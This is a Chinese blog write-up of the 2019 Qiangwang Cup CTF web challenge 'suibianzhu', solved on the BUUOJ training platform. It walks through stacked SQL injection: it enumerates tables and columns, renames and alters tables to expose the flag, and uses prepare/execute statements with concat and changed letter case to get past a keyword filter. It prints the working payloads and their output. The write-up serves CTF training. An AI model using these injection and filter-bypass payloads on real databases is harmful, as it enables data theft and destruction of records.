

[原题复现]2019强网杯WEB-随便注(多种方法)

原创

笑花大王 于 2020-02-06 19:27:00 发布 72 收藏 2

文章标签: [sql 安全](#) [mysql 数据库](#) [java](#)

版权声明: 本文为博主原创文章, 遵循[CC 4.0 BY-SA](#)版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_43818995/article/details/108655590

版权

简介

原题复现: https://gitee.com/xiaohua1998/qwb_2019_supersqli

考察知识点:SQL注入漏洞-堆叠注入

线上平台:<https://buuoj.cn>(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

做题过程

打开页面测试注入点

```
//判断注入点 存在注入!
' and 1=1#
' and 1=2#
```

1301b179-d14e-47c

百度 百度 火狐官方站点 京东商城 JD 京东

取材于某次真实环境渗透，只

```
姿势: '1' and 1=1# 提交查询
```

```
array(2) {
    [0]=>
        string(1) "1"
    [1]=>
        string(7) "hahahah"
}
```

```
//判断字段 字段为2!
order by 2#
```

1301b179-d14e-47c

百度 百度 火狐官方站点 京东商城 JD 京东

取材于某次真实环境渗透

```
姿势: 'order by 2# 提交查询
```

```
array(2) {
    [0]=>
        string(1) "1"
    [1]=>
        string(7) "hahahah"
}
```

之后进行union联合注入的时候发现了正则过滤 几乎过滤了我们所有能用到的语句

```
' union select 1,2#
```

姿势: 1 提交查询

```
return preg_match("/select|update|delete|drop|insert|where|\.\./i", $inject);
```

Encryption Encoding SQL XSS Other

Load URL http://1301b179-d14e-47c4-a170-8fba9ec776ff.node3.buuoj.cn/?inject=1' union select 1,2#

在这里我们采用堆叠注入 show tables 查询当前数据库中的表发现了两个表

```
';show tables;#
```

姿势: 1 提交查询

```
array(2) {
    [0]=>
        string(1) "1"
    [1]=>
        string(7) "hahahah"
}

array(1) {
    [0]=>
        string(16) "1919810931114514"
}

array(1) {
    [0]=>
        string(5) "words"
}
```

Encryption Encoding SQL XSS Other

Load URL http://1301b179-d14e-47c4-a170-8fba9ec776ff.node3.buuoj.cn/?inject=1';show tables;#

我们可以采用show方法查看两个表里面的字段

```
//查看words表的字段
';show columns from words;#
//查看1919810931114514表的字段
';show columns from `1919810931114514`;#
```

```

array(6) {
    [0]=>
    string(2) "id"
    [1]=>
    string(7) "int(10)"
    [2]=>
    string(2) "NO"
    [3]=>
    string(0) ""
    [4]=>
    NULL
    [5]=>
    string(0) ""
}

array(6) {
    [0]=>
    string(4) "data"
    [1]=>
}

```

Encryption Encoding SQL XSS Other

Load URL http://1301b179-d14e-47c4-a170-8fba9ec776ff.node3.buuoj.cn/?inject=1;show columns from words;#

1301b179-d14e-47c4-a170-8fba9ec776ff.node3.buuoj.cn ... php

```

[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"

```

```

array(6) {
    [0]=>
    string(4) "flag"
    [1]=>
    string(12) "varchar(100)"
    [2]=>
    string(2) "NO"
    [3]=>
    string(0) ""
    [4]=>
    NULL
    [5]=>
}

```

Encryption Encoding SQL XSS Other

Load URL http://1301b179-d14e-47c4-a170-8fba9ec776ff.node3.buuoj.cn/?inject=1;show columns from `1919810931114514`;#

(此段看WP的emmmm我都被菜哭了，不过这个姿势真的骚)我们现在得到了表名 字段名 我们想刚开始我们打开的页面输入1有回显 回显的数据肯定来自word这个表所以这下我们启用骚姿势

我们可以把原有的word表改名为其他比如word1将`1919810931114514`这个表改名为word 然后我们将他的flag字段改成id

payload:

```
1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `
```

提交1'or 1=1# 因为id为1的值查不到所以返回为假 id字段里面的值是flag 所以加上这个让这条语句始终返回真则会爆出flag;

方法二：

```
//在存有flag的表中添加一个id列,
alter table `1919810931114514` add(id int NULL);

//将words的表更名为任意名
rename table `words` to `xiao...`;

//将存有flag的表19198...更名为words
rename table `1919810931114514` to `words`;
```

payload:

```
';alter table `1919810931114514` add(id int NULL);rename table `words` to `xiao...`;rename table `1919810931114514` to `words`;
```

这里完了之后我们的flag表里面的值是显示不出来的因为id是NULL所以用or 1=1语句前面的语句返回为假 后面的返回为真也是真

获得flag:

方法三：

使用这个方法： Mysql预处理语句prepare、 execute、 deallocate

我们进行构造这个语句：

```
set @a=concat("sel","ect flag from `1919810931114514`");
prepare hello from @a
execute hello;
```

payload:

```
1';set @a=concat("sel","ect flag from `1919810931114514`");prepare hello from @a;execute hello;#
```

发现有过滤 我们可以想办法绕过

姿势: 1 提交查询

strstr(\$inject, "set") && strstr(\$inject, "prepare")

Encryption Encoding SQL XSS Other

Contribute now! HackBar

Load URL Split URL

http://0e6f8a05-b749-4b04-b228-2204122ae121.node3.buuoj.cn/?inject=1;set@a=concat("sel","ect flag from `1919810931114514`");prepare hello from @a;execute hello;#

大小写绕过payload:

```
1';sEt @a=concat("sel","ect flag from `1919810931114514`");Prepare hello from @a;execute hello;#
```

得到flag

```
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(42) "flag{8edc8cd8-28d0-42ba-9809-162446a09187}"
}
```

Encryption Encoding SQL XSS Other

Contribute now! HackBar

Load URL Split URL

Execute

Post data Referer User Agent Cookies Clear All

参考学习

```
https://www.cnblogs.com/chrysanthemum/p/11657008.html
https://www.zhaoj.in/read-5873.html
https://www.jianshu.com/p/e896bd3f5097
```